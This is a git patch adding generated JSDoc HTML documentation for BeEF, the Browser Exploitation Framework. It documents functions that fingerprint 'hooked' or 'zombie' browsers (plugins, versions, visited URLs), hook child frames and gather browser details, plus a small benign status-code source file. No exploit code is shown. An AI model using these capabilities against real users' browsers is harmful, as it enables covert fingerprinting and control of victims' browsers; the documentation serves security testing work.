From e9636599ac598be0ec4cba4863882ed09322b270 Mon Sep 17 00:00:00 2001 From: Grant Burgess Date: Thu, 2 Jan 2020 16:33:14 +1000 Subject: [PATCH] Generated JSDoc html files to host on Github Pages --- docs/BeefJS.html | 567 + docs/are.js.html | 92 + docs/beef.are.html | 466 + docs/beef.browser.cookie.html | 643 + docs/beef.browser.html | 30093 +++++++++++++++++ docs/beef.browser.popup.html | 223 + docs/beef.dom.html | 3688 ++ docs/beef.encode.base64.html | 740 + docs/beef.encode.json.html | 392 + docs/beef.geolocation.html | 578 + docs/beef.hardware.html | 2086 ++ docs/beef.init.html | 486 + docs/beef.js.html | 135 + docs/beef.logger.html | 2168 ++ docs/beef.mitb.html | 926 + docs/beef.net.connection.html | 369 + docs/beef.net.cors.html | 452 + docs/beef.net.dns.html | 325 + docs/beef.net.html | 2388 ++ docs/beef.net.local.html | 449 + docs/beef.net.portscanner.html | 504 + docs/beef.net.requester.html | 277 + docs/beef.net.xssrays.html | 773 + docs/beef.os.html | 4198 +++ docs/beef.session.html | 400 + docs/beef.timeout.html | 226 + docs/beef.updater.html | 731 + docs/beef.webrtc.html | 3071 ++ docs/beef.websocket.html | 499 + docs/browser.js.html | 4701 +++ docs/browser_cookie.js.html | 172 + docs/browser_jools.html | 1165 + docs/browser_popup.js.html | 79 + docs/dom.js.html | 554 + docs/encode_base64.js.html | 223 + docs/encode_json.js.html | 191 + docs/fonts/OpenSans-Bold-webfont.eot | Bin 0 -> 19544 bytes docs/fonts/OpenSans-Bold-webfont.svg | 1830 + docs/fonts/OpenSans-Bold-webfont.woff | Bin 0 -> 22432 bytes docs/fonts/OpenSans-BoldItalic-webfont.eot | Bin 0 -> 20133 bytes docs/fonts/OpenSans-BoldItalic-webfont.svg | 1830 + docs/fonts/OpenSans-BoldItalic-webfont.woff | Bin 0 -> 23048 bytes docs/fonts/OpenSans-Italic-webfont.eot | Bin 0 -> 20265 bytes docs/fonts/OpenSans-Italic-webfont.svg | 1830 + docs/fonts/OpenSans-Italic-webfont.woff | Bin 0 -> 23188 bytes docs/fonts/OpenSans-Light-webfont.eot | Bin 0 -> 19514 bytes docs/fonts/OpenSans-Light-webfont.svg | 1831 + docs/fonts/OpenSans-Light-webfont.woff | Bin 0 -> 22248 bytes docs/fonts/OpenSans-LightItalic-webfont.eot | Bin 0 -> 20535 bytes docs/fonts/OpenSans-LightItalic-webfont.svg | 1835 + docs/fonts/OpenSans-LightItalic-webfont.woff | Bin 0 -> 23400 bytes docs/fonts/OpenSans-Regular-webfont.eot | Bin 0 -> 19836 bytes docs/fonts/OpenSans-Regular-webfont.svg | 1831 + docs/fonts/OpenSans-Regular-webfont.woff | Bin 0 -> 22660 bytes docs/geolocation.js.html | 159 + docs/hardware.js.html | 368 + docs/index.html | 109 + docs/init.js.html | 141 + docs/lib_browser_jools.js.html | 1598 + docs/lib_deployJava.js.html | 1346 + docs/lib_platform.js.html | 1269 + docs/logger.js.html | 412 + docs/mitb.js.html | 297 + docs/net.js.html | 615 + docs/net_connection.js.html | 101 + docs/net_cors.js.html | 134 + docs/net_dns.js.html | 148 + docs/net_local.js.html | 138 + docs/net_portscanner.js.html | 117 + docs/net_requester.js.html | 92 + docs/net_xssrays.js.html | 550 + docs/os.js.html | 412 + docs/platform.html | 1147 + docs/scripts/linenumber.js | 25 + docs/scripts/prettify/Apache-License-2.0.txt | 202 + docs/scripts/prettify/lang-css.js | 2 + docs/scripts/prettify/prettify.js | 28 + docs/session.js.html | 125 + docs/styles/jsdoc-default.css | 358 + docs/styles/prettify-jsdoc.css | 111 + docs/styles/prettify-tomorrow.css | 132 + docs/timeout.js.html | 74 + docs/updater.js.html | 144 + docs/webrtc.js.html | 767 + docs/websocket.js.html | 142 + 85 files changed, 87280 insertions(+) create mode 100644 docs/BeefJS.html create mode 100644 docs/are.js.html create mode 100644 docs/beef.are.html create mode 100644 docs/beef.browser.cookie.html create mode 100644 docs/beef.browser.html create mode 100644 docs/beef.browser.popup.html create mode 100644 docs/beef.dom.html create mode 100644 docs/beef.encode.base64.html create mode 100644 docs/beef.encode.json.html create mode 100644 docs/beef.geolocation.html create mode 100644 docs/beef.hardware.html create mode 100644 docs/beef.init.html create mode 100644 docs/beef.js.html create mode 100644 docs/beef.logger.html create mode 100644 docs/beef.mitb.html create mode 100644 docs/beef.net.connection.html create mode 100644 docs/beef.net.cors.html create mode 100644 docs/beef.net.dns.html create mode 100644 docs/beef.net.html create mode 100644 docs/beef.net.local.html create mode 100644 docs/beef.net.portscanner.html create mode 100644 docs/beef.net.requester.html create mode 100644 docs/beef.net.xssrays.html create mode 100644 docs/beef.os.html create mode 100644 docs/beef.session.html create mode 100644 docs/beef.timeout.html create mode 100644 docs/beef.updater.html create mode 100644 docs/beef.webrtc.html create mode 100644 docs/beef.websocket.html create mode 100644 docs/browser.js.html create mode 100644 docs/browser_cookie.js.html create mode 100644 docs/browser_jools.html create mode 100644 docs/browser_popup.js.html create mode 100644 docs/dom.js.html create mode 100644 docs/encode_base64.js.html create mode 100644 docs/encode_json.js.html create mode 100644 docs/fonts/OpenSans-Bold-webfont.eot create mode 100644 docs/fonts/OpenSans-Bold-webfont.svg create mode 100644 docs/fonts/OpenSans-Bold-webfont.woff create mode 100644 docs/fonts/OpenSans-BoldItalic-webfont.eot create mode 100644 docs/fonts/OpenSans-BoldItalic-webfont.svg create mode 100644 docs/fonts/OpenSans-BoldItalic-webfont.woff create mode 100644 docs/fonts/OpenSans-Italic-webfont.eot create mode 100644 docs/fonts/OpenSans-Italic-webfont.svg create mode 100644 docs/fonts/OpenSans-Italic-webfont.woff create mode 100644 docs/fonts/OpenSans-Light-webfont.eot create mode 100644 docs/fonts/OpenSans-Light-webfont.svg create mode 100644 docs/fonts/OpenSans-Light-webfont.woff create mode 100644 docs/fonts/OpenSans-LightItalic-webfont.eot create mode 100644 docs/fonts/OpenSans-LightItalic-webfont.svg create mode 100644 docs/fonts/OpenSans-LightItalic-webfont.woff create mode 100644 docs/fonts/OpenSans-Regular-webfont.eot create mode 100644 docs/fonts/OpenSans-Regular-webfont.svg create mode 100644 docs/fonts/OpenSans-Regular-webfont.woff create mode 100644 docs/geolocation.js.html create mode 100644 docs/hardware.js.html create mode 100644 docs/index.html create mode 100644 docs/init.js.html create mode 100644 docs/lib_browser_jools.js.html create mode 100644 docs/lib_deployJava.js.html create mode 100644 docs/lib_platform.js.html create mode 100644 docs/logger.js.html create mode 100644 docs/mitb.js.html create mode 100644 docs/net.js.html create mode 100644 docs/net_connection.js.html create mode 100644 docs/net_cors.js.html create mode 100644 docs/net_dns.js.html create mode 100644 docs/net_local.js.html create mode 100644 docs/net_portscanner.js.html create mode 100644 docs/net_requester.js.html create mode 100644 docs/net_xssrays.js.html create mode 100644 docs/os.js.html create mode 100644 docs/platform.html create mode 100644 docs/scripts/linenumber.js create mode 100644 docs/scripts/prettify/Apache-License-2.0.txt create mode 100644 docs/scripts/prettify/lang-css.js create mode 100644 docs/scripts/prettify/prettify.js create mode 100644 docs/session.js.html create mode 100644 docs/styles/jsdoc-default.css create mode 100644 docs/styles/prettify-jsdoc.css create mode 100644 docs/styles/prettify-tomorrow.css create mode 100644 docs/timeout.js.html create mode 100644 docs/updater.js.html create mode 100644 docs/webrtc.js.html create mode 100644 docs/websocket.js.html diff --git a/docs/BeefJS.html b/docs/BeefJS.html new file mode 100644 index 000000000..03ec1cf01 --- /dev/null +++ b/docs/BeefJS.html @@ -0,0 +1,567 @@ + + + + + JSDoc: Namespace: BeefJS + + + + + + + + + + +
+ +

Namespace: BeefJS

+ + + + + + +
+ +
+ +

BeefJS

+ + +
+ +
+
+ + +

Register the BeEF JS on the window object.

+ + + + + +
Properties:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
version + + +string + + + +

BeEf Version

pageIsLoaded + + +boolean + + + +

This gets set to true during window.onload(). It's a useful hack when messing with document.write().

onpopstate + + +array + + + +

An array containing functions to be executed by the window.onpopstate() method.

onclose + + +array + + + +

An array containing functions to be executed by the window.onclose() method.

commands + + +array + + + +

An array containing functions to be executed by Beef.

components + + +array + + + +

An array containing all the BeEF JS components.

+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) debug()

+ + + + + + +
+

Adds a function to display debug messages (wraps console.log())

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) execute()

+ + + + + + +
+

Adds a function to execute.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) regCmp()

+ + + + + + +
+

Registers a component in BeEF JS.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/are.js.html b/docs/are.js.html new file mode 100644 index 000000000..10b83d4e1 --- /dev/null +++ b/docs/are.js.html @@ -0,0 +1,92 @@ + + + + + JSDoc: Source: are.js + + + + + + + + + + +
+ +

Source: are.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/** 
+ * A series of functions that handle statuses, returns a number based on the function called.
+ * @namespace beef.are
+ */
+
+beef.are = {
+  /**
+   * A function for handling a success status
+   * @memberof beef.are
+   * @method status_success 
+   * @return {number} 1
+   */
+  status_success: function(){
+    return 1;
+  },
+  /**
+   * A function for handling an unknown status
+   * @memberof beef.are
+   * @method status_unknown 
+   * @return {number} 0
+   */  
+  status_unknown: function(){
+    return 0;
+  },
+  /**
+   * A function for handling an error status
+   * @memberof beef.are
+   * @method status_error 
+   * @return {number} -1
+   */  
+  status_error: function(){
+    return -1;
+  }
+};
+beef.regCmp("beef.are");
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/beef.are.html b/docs/beef.are.html new file mode 100644 index 000000000..531a5eef0 --- /dev/null +++ b/docs/beef.are.html @@ -0,0 +1,466 @@ + + + + + JSDoc: Namespace: are + + + + + + + + + + +
+ +

Namespace: are

+ + + + + + +
+ +
+ +

are

+ + +
+ +
+
+ + +

A series of functions that handle statuses, returns a number based on the function called.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) status_error() → {number}

+ + + + + + +
+

A function for handling an error status

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

-1

+
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + + + + + +

(static) status_success() → {number}

+ + + + + + +
+

A function for handling a success status

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

1

+
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + + + + + +

(static) status_unknown() → {number}

+ + + + + + +
+

A function for handling an unknown status

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

0

+
+ + + +
+
+ Type +
+
+ +number + + +
+
+ + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.browser.cookie.html b/docs/beef.browser.cookie.html new file mode 100644 index 000000000..1644824c9 --- /dev/null +++ b/docs/beef.browser.cookie.html @@ -0,0 +1,643 @@ + + + + + JSDoc: Namespace: cookie + + + + + + + + + + +
+ +

Namespace: cookie

+ + + + + + +
+ +
+ +

+ .browser.cookie

+ + +
+ +
+
+ + +

Provides fuctions for working with cookies. +Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php +Original author unknown.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + + + +

Methods

+ + + + + + + +

(static) deleteCookie()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getCookie()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasPersistentCookies()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasSessionCookies()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) setCookie()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) veganLol()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/beef.browser.html b/docs/beef.browser.html new file mode 100644 index 000000000..5abac22fd --- /dev/null +++ b/docs/beef.browser.html @@ -0,0 +1,30093 @@ + + + + + JSDoc: Namespace: browser + + + + + + + + + + +
+ +

Namespace: browser

+ + + + + + +
+ +
+ +

browser

+ + +
+ +
+
+ + +

Basic browser functions.

+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + +

Namespaces

+ +
+
cookie
+
+ +
popup
+
+
+ + + + + +

Methods

+ + + + + + + +

(static) changeFavicon()

+ + + + + + +
+

Dynamically changes the favicon: works in Firefox, Chrome and Opera

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) changePageTitle()

+ + + + + + +
+

Changes page title

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserEngine()

+ + + + + + +
+

Returns the underlying layout engine in use by the browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserLanguage()

+ + + + + + +
+

Get the browser language

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserName()

+ + + + + + +
+

Returns the type of user agent by hooked browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserReportedName()

+ + + + + + +
+

Returns the user agent that the browser is claiming to be.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getBrowserVersion()

+ + + + + + +
+

Returns the major version of the browser being used.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getDetails()

+ + + + + + +
+

Construct hash from browser details. This function is used to grab the browser details during the hooking process

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getMaxConnections() → {Object}

+ + + + + + +
+

A function that gets the max number of simultaneous connections the +browser can make per origin, or globally on all origin.

+

This code is based on research from browserspy.dk

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + +
Returns:
+ + +
+

A jQuery deferred object promise, which when resolved passes +the number of connections to the callback function as "this"

+
+ + + +
+
+ Type +
+
+ +Object + + +
+
+ + + + + + + + + + + + + +

(static) getPageBody()

+ + + + + + +
+

Returns the page body HTML

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getPageHead()

+ + + + + + +
+

Returns the page head HTML

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getPlugins()

+ + + + + + +
+

Returns the list of plugins installed in the browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getPluginsIE()

+ + + + + + +
+

Returns a list of plugins detected by IE. This is a hack because IE doesn't +support navigator.plugins

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) getWindowSize()

+ + + + + + +
+

Returns zombie browser window size.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasActiveX()

+ + + + + + +
+

Returns boolean value depending on whether the browser supports ActiveX

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasCors()

+ + + + + + +
+

Checks if the browser supports CORS

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasFlash()

+ + + + + + +
+

Checks if the zombie has flash installed and enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasFoxit()

+ + + + + + +
+

Checks if the zombie has Foxit PDF reader plugin.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasGoogleGears()

+ + + + + + +
+

Checks if the zombie has Google Gears installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasJava()

+ + + + + + +
+

Checks if the zombie has Java installed and enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasPhonegap()

+ + + + + + +
+

Checks if the Phonegap API is available from the hooked origin.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasQuickTime()

+ + + + + + +
+

Checks if the zombie has the QuickTime plugin installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasRealPlayer()

+ + + + + + +
+

Checks if the zombie has the RealPlayer plugin installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasSilverlight()

+ + + + + + +
+

Returns boolean value depending on whether the browser supports Silverlight

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasVBScript()

+ + + + + + +
+

Checks if the zombie has VBScript enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasVisited()

+ + + + + + +
+

Returns array of results, whether or not the target zombie has visited the specified URL

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasVLC()

+ + + + + + +
+

Checks if VLC is installed

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebGL()

+ + + + + + +
+

Checks if the zombie has WebGL enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebRTC()

+ + + + + + +
+

Returns boolean value depending on whether the browser supports WebRTC

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebSocket()

+ + + + + + +
+

Checks if the zombie has Web Sockets enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWebWorker()

+ + + + + + +
+

Checks if the zombie has Web Workers enabled.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hasWMP()

+ + + + + + +
+

Checks if the zombie has the Windows Media Player plugin installed.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) hookChildFrames()

+ + + + + + +
+

Hooks all child frames in the current window +Restricted by same-origin policy

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isA()

+ + + + + + +
+

Returns true if Avant Browser.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isBrave()

+ + + + + + +
+

Returns true if Brave

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC()

+ + + + + + +
+

Returns true if Chrome.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC5()

+ + + + + + +
+

Returns true if Chrome 5.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC6()

+ + + + + + +
+

Returns true if Chrome 6.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC7()

+ + + + + + +
+

Returns true if Chrome 7.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC8()

+ + + + + + +
+

Returns true if Chrome 8.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC9()

+ + + + + + +
+

Returns true if Chrome 9.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC10()

+ + + + + + +
+

Returns true if Chrome 10.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC11()

+ + + + + + +
+

Returns true if Chrome 11.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC12()

+ + + + + + +
+

Returns true if Chrome 12.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC13()

+ + + + + + +
+

Returns true if Chrome 13.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC14()

+ + + + + + +
+

Returns true if Chrome 14.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC15()

+ + + + + + +
+

Returns true if Chrome 15.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC16()

+ + + + + + +
+

Returns true if Chrome 16.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC17()

+ + + + + + +
+

Returns true if Chrome 17.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC18()

+ + + + + + +
+

Returns true if Chrome 18.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC19()

+ + + + + + +
+

Returns true if Chrome 19.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC19iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 19.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC20()

+ + + + + + +
+

Returns true if Chrome 20.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC20iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 20.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC21()

+ + + + + + +
+

Returns true if Chrome 21.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC21iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 21.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC22()

+ + + + + + +
+

Returns true if Chrome 22.

+
+ + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) isC22iOS()

+ + + + + + +
+

Returns true if Chrome for iOS 22.

+
+ + + + + + + + + + + + + +
